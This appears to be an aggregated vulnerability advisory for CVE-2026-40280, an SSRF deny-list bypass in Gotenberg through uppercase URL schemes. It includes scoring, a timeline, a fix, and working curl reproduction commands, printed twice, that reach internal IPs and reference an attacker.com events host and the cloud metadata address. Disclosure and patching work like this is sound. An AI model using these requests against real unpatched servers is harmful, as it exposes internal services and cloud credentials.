CVE-2026-40280Critical· 9.3▾ AbyssalPoC available

Gotenberg has case-insensitive URL scheme that bypasses webhook and downloadFrom deny-list SSRF protection

▾ Abyssal zone — Critical with a public exploit or in-the-wild use

Depth score64/ 100 · Elevated

impact 51.2 · likelihood 0.4 · exploitation 12

⚡ Agent-ready:Raw markdown ↗JSON ↗

Proof of concept

A public proof-of-concept already exists for this vulnerability — see Exploit availability below.

…

Published

Apr 30, 2026

Updated

Jul 8, 2026

CVSS

9.3

Vendor

gotenberg

Product

github.com/gotenberg/gotenberg/v8

CWE

—

Depth score

64 · Elevated

EPSS

1.9% · p79

Platforms

—

Source

OSV

Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

Exploit availability

Public exploit / PoC code seen in 1 source. Availability, not in-the-wild use.

checked 2026-09-21

Nuclei

CVE-2026-40280.yaml ↗

EPSS history

Exploit-prediction probability, daily snapshots since Jul 9.

0.5% → 1.9%▲ 1.5%

Timeline

Disclosure to exploitation, from the record and what we observed since indexing it.

5 events · 132 days

Apr 30, 2026Published
Disclosed via OSV
Jul 8, 2026Record revised
Last analysed / modified upstream
Jul 9, 2026EPSS first tracked
0.5%
Sep 7, 2026EPSS peak
0.5% → 1.9%
Sep 8, 2026Public exploit observed
Nuclei ×1

gotenberg #osv #go #exploit-available

Affected

github.com/gotenberg/gotenberg/v8 < 8.31.0

Patched in

github.com/gotenberg/gotenberg/v8 8.31.0

Full technical detail▾

Overview

Vulnerability Details

CWE: CWE-918 - Server-Side Request Forgery (SSRF)

The default private-IP deny-lists for --webhook-deny-list and --api-download-from-deny-list use a case-sensitive regex (^https?://). Any uppercase URL scheme variant (HTTP://, HTTPS://, Http://) bypasses the pattern. Go's net/url.Parse() normalizes the scheme to lowercase when making the outbound TCP connection, so the connection succeeds normally. Affected: pkg/gotenberg/filter.go:FilterDeadline(), pkg/modules/webhook/webhook.go:42, pkg/modules/api/api.go:199. Confirmed in Docker: http://172.17.0.1:12345/ returns HTTP 403 (blocked), HTTP://172.17.0.1:12345/ returns HTTP 202 (bypassed, TCP connection attempted). Same pattern as CVE-2026-27018/GHSA-jjwv-57xh-xr6r but in newly added webhook+downloadFrom deny-lists (commit 3f01ca1, 2026-04-07). Affected versions: <= 8.30.1. CVSS: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N = 9.1.

Summary

The default private-IP deny-lists for --webhook-deny-list and --api-download-from-deny-list use a case-sensitive regex (^https?://). Any uppercase URL scheme variant (HTTP://, HTTPS://, Http://) bypasses the pattern. Go's net/url.Parse() normalizes the scheme to lowercase when making the outbound TCP connection, so the connection succeeds normally.

The same bypass (case-insensitive scheme) was previously reported for the Chromium deny-list in CVE-2026-27018 (GHSA-jjwv-57xh-xr6r), but the newly added deny-lists for webhook and downloadFrom contain the identical flaw.

Affected file/function: pkg/gotenberg/filter.go:FilterDeadline(), pkg/modules/webhook/webhook.go:42 (default regex), pkg/modules/api/api.go:199 (default regex)

Steps to Reproduce

1. Start Gotenberg:
   docker run --rm -d -p 3001:3000 --name gotenberg-test gotenberg/gotenberg:8

2. Baseline — lowercase http:// is blocked (HTTP 403):
   curl -s -w "\nHTTP %{http_code}" -X POST http://localhost:3001/forms/chromium/convert/url \
     -H "Gotenberg-Webhook-Url: http://172.17.0.1:12345/callback" \
     -H "Gotenberg-Webhook-Events-Url: http://attacker.com/events" \
     -F "url=https://example.com/"

3. Bypass — uppercase HTTP:// bypasses deny-list (HTTP 202, connection attempted):
   curl -s -w "\nHTTP %{http_code}" -X POST http://localhost:3001/forms/chromium/convert/url \
     -H "Gotenberg-Webhook-Url: HTTP://172.17.0.1:12345/callback" \
     -H "Gotenberg-Webhook-Events-Url: http://attacker.com/events" \
     -F "url=https://example.com/"
   # Returns 202 + Gotenberg logs: "Post \"http://172.17.0.1:12345/callback\": connection refused"

4. downloadFrom bypass (response content included in PDF):
   curl -s -w "\nHTTP %{http_code}" http://localhost:3001/forms/chromium/convert/html \
     -F 'files=@/dev/stdin;filename=index.html;type=text/html' \
     -F 'downloadFrom=[{"url":"HTTP://172.17.0.1:12345/secret.html"}]' <<< '<html><body>test</body></html>'
   # Error is "Unable to download file" (connection refused), not "filter URL" — bypass confirmed

Impact

An unauthenticated attacker can access internal network services (private IP ranges, loopback, link-local) that the deny-list was designed to block. The downloadFrom SSRF can exfiltrate content from internal services that respond with Content-Disposition headers. In cloud environments, this could allow access to instance metadata services (e.g., HTTP://169.254.169.254/latest/meta-data/). This bypasses the same security control that was patched in CVE-2026-27018.

Fix

Normalize the URL scheme to lowercase before passing to FilterDeadline, or compile deny-list regexes with the case-insensitive flag ((?i)).

Vulnerable Code

// See description for details

Steps to Reproduce

Set up the application using the default configuration
See the vulnerability details above

Impact

This vulnerability may allow an attacker to compromise the application.

Affected packages

github.com/gotenberg/gotenberg/v8 < 8.31.0

Remediation

Upgrade to a patched release:

github.com/gotenberg/gotenberg/v8 8.31.0

References

Change history

Field changes observed since this record was first indexed.

Sep 8, 2026Public exploit / PoC published
Sep 8, 2026Public exploit flag cleared
Sep 8, 2026Public exploit / PoC published
Sep 8, 2026Public exploit flag cleared
Sep 8, 2026Public exploit / PoC published

Related vulnerabilities

Connected by shared product, vendor, weakness, or advisory.

#osv#go#exploit-available

Vulnerability Details

CWE: CWE-918 - Server-Side Request Forgery (SSRF)

Summary

Affected file/function: pkg/gotenberg/filter.go:FilterDeadline(), pkg/modules/webhook/webhook.go:42 (default regex), pkg/modules/api/api.go:199 (default regex)

Steps to Reproduce

1. Start Gotenberg: docker run --rm -d -p 3001:3000 --name gotenberg-test gotenberg/gotenberg:8 2. Baseline — lowercase http:// is blocked (HTTP 403): curl -s -w "\nHTTP %{http_code}" -X POST http://localhost:3001/forms/chromium/convert/url \ -H "Gotenberg-Webhook-Url: http://172.17.0.1:12345/callback" \ -H "Gotenberg-Webhook-Events-Url: http://attacker.com/events" \ -F "url=https://example.com/" 3. Bypass — uppercase HTTP:// bypasses deny-list (HTTP 202, connection attempted): curl -s -w "\nHTTP %{http_code}" -X POST http://localhost:3001/forms/chromium/convert/url \ -H "Gotenberg-Webhook-Url: HTTP://172.17.0.1:12345/callback" \ -H "Gotenberg-Webhook-Events-Url: http://attacker.com/events" \ -F "url=https://example.com/" # Returns 202 + Gotenberg logs: "Post \"http://172.17.0.1:12345/callback\": connection refused" 4. downloadFrom bypass (response content included in PDF): curl -s -w "\nHTTP %{http_code}" http://localhost:3001/forms/chromium/convert/html \ -F 'files=@/dev/stdin;filename=index.html;type=text/html' \ -F 'downloadFrom=[{"url":"HTTP://172.17.0.1:12345/secret.html"}]' <<< '<html><body>test</body></html>' # Error is "Unable to download file" (connection refused), not "filter URL" — bypass confirmed

Impact